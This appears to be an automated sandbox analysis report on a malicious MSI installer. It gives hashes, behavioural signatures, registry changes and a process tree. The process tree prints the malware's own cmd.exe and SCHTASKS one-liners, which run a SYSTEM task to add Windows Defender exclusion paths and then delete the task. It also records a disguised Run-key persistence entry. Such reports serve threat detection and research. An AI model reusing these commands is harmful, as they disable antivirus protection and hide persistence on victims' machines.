Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
31/07/2026, 02:44
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_mal004.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
25 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_mal004.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
37 signatures
150 seconds
General
- Target install_mal004.msi
- Size 7.7MB
- Sample260731-c8faasvsd1
- SHA256 8c000ba7798834425295861755637cb072749e8b17f893ca528cd9bd30a65afb
- MD5 40d23c4b1fc07332708318a93e7b11a3
- SHA1 f43fe662284ad1cc629559b18310ae8f04b3fd03
- SHA512 cf8236f418975b5325d0a60aefa0713619dfe89169eeb0623ea0f9a9f39dc758d05a532ea31b644bd6a7be05d0a66e35cb1eadfd9b5928f9b9aa2c1bb97aa4b1
- SSDEEP 196608:yvA8KuUBIeMpGZt46NuHbhypJRWt4zEAYsHCPefrEC:yPKfBIe9y66qJ4CYmzrt
- TLSH T1628633C87CCDA674C1A3C77546C3645E3D387FD277AA8E1BBA5536002D32236277A289
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\CDI9O5 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation d5p9Hu.exe - Executes dropped EXE 1 IoCs
pid Process 2312 d5p9Hu.exe - Loads dropped DLL 2 IoCs
pid Process 4984 MsiExec.exe 2312 d5p9Hu.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\CDI9O5\\d5p9Hu.exe\"" d5p9Hu.exe - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 18 4984 MsiExec.exe 25 4984 MsiExec.exe 29 4984 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3172 cmd.exe 5060 cmd.exe 4360 cmd.exe 4144 cmd.exe 4388 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b d5p9Hu.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe - Drops file in Program Files directory 3 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\NTUa20 d5p9Hu.exe File created C:\Program Files (x86)\NTUa20\NTUa20.exe d5p9Hu.exe File created C:\Program Files (x86)\NTUa20\XPSPLOG.dll d5p9Hu.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\e589f3b.msi msiexec.exe File created C:\Windows\Installer\e589f39.msi msiexec.exe File created C:\Windows\Installer\SourceHash{4CA0D086-AA26-797D-3C5F-028810CDD1E6} msiexec.exe File opened for modification C:\Windows\Installer\MSIA033.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA0A1.tmp msiexec.exe File opened for modification C:\Windows\Installer\e589f39.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 2700 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 624 cmd.exe 2796 cmd.exe 3796 cmd.exe 3444 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000020c8f0fe5d92f37a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000020c8f0fe0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090020c8f0fe000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a20c8f0fe000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d20c8f0fe000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\PackageName = "install_mal004.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\ProductName = "ENCPP Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\PackageCode = "DE76FCE7A6113F248A671CD22B5F78ED" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Clients = 3a0000000000 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\DeploymentFlags = "3" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2620 schtasks.exe 2600 schtasks.exe 4624 schtasks.exe 3548 schtasks.exe 3640 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4628 msiexec.exe 4628 msiexec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 4984 MsiExec.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe 2312 d5p9Hu.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 668 Process not Found 668 Process not Found 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2700 msiexec.exe Token: SeIncreaseQuotaPrivilege 2700 msiexec.exe Token: SeSecurityPrivilege 4628 msiexec.exe Token: SeCreateTokenPrivilege 2700 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2700 msiexec.exe Token: SeLockMemoryPrivilege 2700 msiexec.exe Token: SeIncreaseQuotaPrivilege 2700 msiexec.exe Token: SeMachineAccountPrivilege 2700 msiexec.exe Token: SeTcbPrivilege 2700 msiexec.exe Token: SeSecurityPrivilege 2700 msiexec.exe Token: SeTakeOwnershipPrivilege 2700 msiexec.exe Token: SeLoadDriverPrivilege 2700 msiexec.exe Token: SeSystemProfilePrivilege 2700 msiexec.exe Token: SeSystemtimePrivilege 2700 msiexec.exe Token: SeProfSingleProcessPrivilege 2700 msiexec.exe Token: SeIncBasePriorityPrivilege 2700 msiexec.exe Token: SeCreatePagefilePrivilege 2700 msiexec.exe Token: SeCreatePermanentPrivilege 2700 msiexec.exe Token: SeBackupPrivilege 2700 msiexec.exe Token: SeRestorePrivilege 2700 msiexec.exe Token: SeShutdownPrivilege 2700 msiexec.exe Token: SeDebugPrivilege 2700 msiexec.exe Token: SeAuditPrivilege 2700 msiexec.exe Token: SeSystemEnvironmentPrivilege 2700 msiexec.exe Token: SeChangeNotifyPrivilege 2700 msiexec.exe Token: SeRemoteShutdownPrivilege 2700 msiexec.exe Token: SeUndockPrivilege 2700 msiexec.exe Token: SeSyncAgentPrivilege 2700 msiexec.exe Token: SeEnableDelegationPrivilege 2700 msiexec.exe Token: SeManageVolumePrivilege 2700 msiexec.exe Token: SeImpersonatePrivilege 2700 msiexec.exe Token: SeCreateGlobalPrivilege 2700 msiexec.exe Token: SeBackupPrivilege 4428 vssvc.exe Token: SeRestorePrivilege 4428 vssvc.exe Token: SeAuditPrivilege 4428 vssvc.exe Token: SeBackupPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeBackupPrivilege 4796 srtasks.exe Token: SeRestorePrivilege 4796 srtasks.exe Token: SeSecurityPrivilege 4796 srtasks.exe Token: SeTakeOwnershipPrivilege 4796 srtasks.exe Token: SeBackupPrivilege 4796 srtasks.exe Token: SeRestorePrivilege 4796 srtasks.exe Token: SeSecurityPrivilege 4796 srtasks.exe Token: SeTakeOwnershipPrivilege 4796 srtasks.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe Token: SeTakeOwnershipPrivilege 4628 msiexec.exe Token: SeRestorePrivilege 4628 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2700 msiexec.exe 2700 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 4628 wrote to memory of 4796 4628 msiexec.exe 91 PID 4628 wrote to memory of 4984 4628 msiexec.exe 93 PID 2312 wrote to memory of 5060 2312 d5p9Hu.exe 98 PID 5060 wrote to memory of 2600 5060 cmd.exe 100 PID 2312 wrote to memory of 4360 2312 d5p9Hu.exe 101 PID 5060 wrote to memory of 4376 5060 cmd.exe 103 PID 4360 wrote to memory of 4624 4360 cmd.exe 105 PID 5060 wrote to memory of 1924 5060 cmd.exe 107 PID 4360 wrote to memory of 2840 4360 cmd.exe 109 PID 4360 wrote to memory of 4152 4360 cmd.exe 110 PID 3444 wrote to memory of 4840 3444 cmd.exe 112 PID 2312 wrote to memory of 4144 2312 d5p9Hu.exe 113 PID 4144 wrote to memory of 3548 4144 cmd.exe 115 PID 4144 wrote to memory of 3416 4144 cmd.exe 116 PID 4144 wrote to memory of 752 4144 cmd.exe 119 PID 624 wrote to memory of 3376 624 cmd.exe 120 PID 2312 wrote to memory of 4388 2312 d5p9Hu.exe 121 PID 4388 wrote to memory of 3640 4388 cmd.exe 123 PID 4388 wrote to memory of 4456 4388 cmd.exe 124 PID 2796 wrote to memory of 4836 2796 cmd.exe 127 PID 4388 wrote to memory of 3484 4388 cmd.exe 128 PID 2312 wrote to memory of 3172 2312 d5p9Hu.exe 129 PID 3172 wrote to memory of 2620 3172 cmd.exe 131 PID 3172 wrote to memory of 1800 3172 cmd.exe 132 PID 3172 wrote to memory of 2448 3172 cmd.exe 134 PID 3796 wrote to memory of 4488 3796 cmd.exe 136 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal004.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2700
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4796
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 8CE0F01761170B4DFAC9031D6AE73FF6 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4984
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4428
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C:\Users\Public\CDI9O5\d5p9Hu.exeC:\Users\Public\CDI9O5\d5p9Hu.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CDI9O5\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5060 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CDI9O5\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2600
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4376
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1924
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4624
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2840
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3548
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3416
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3640
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4456
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2620
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1800
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2448
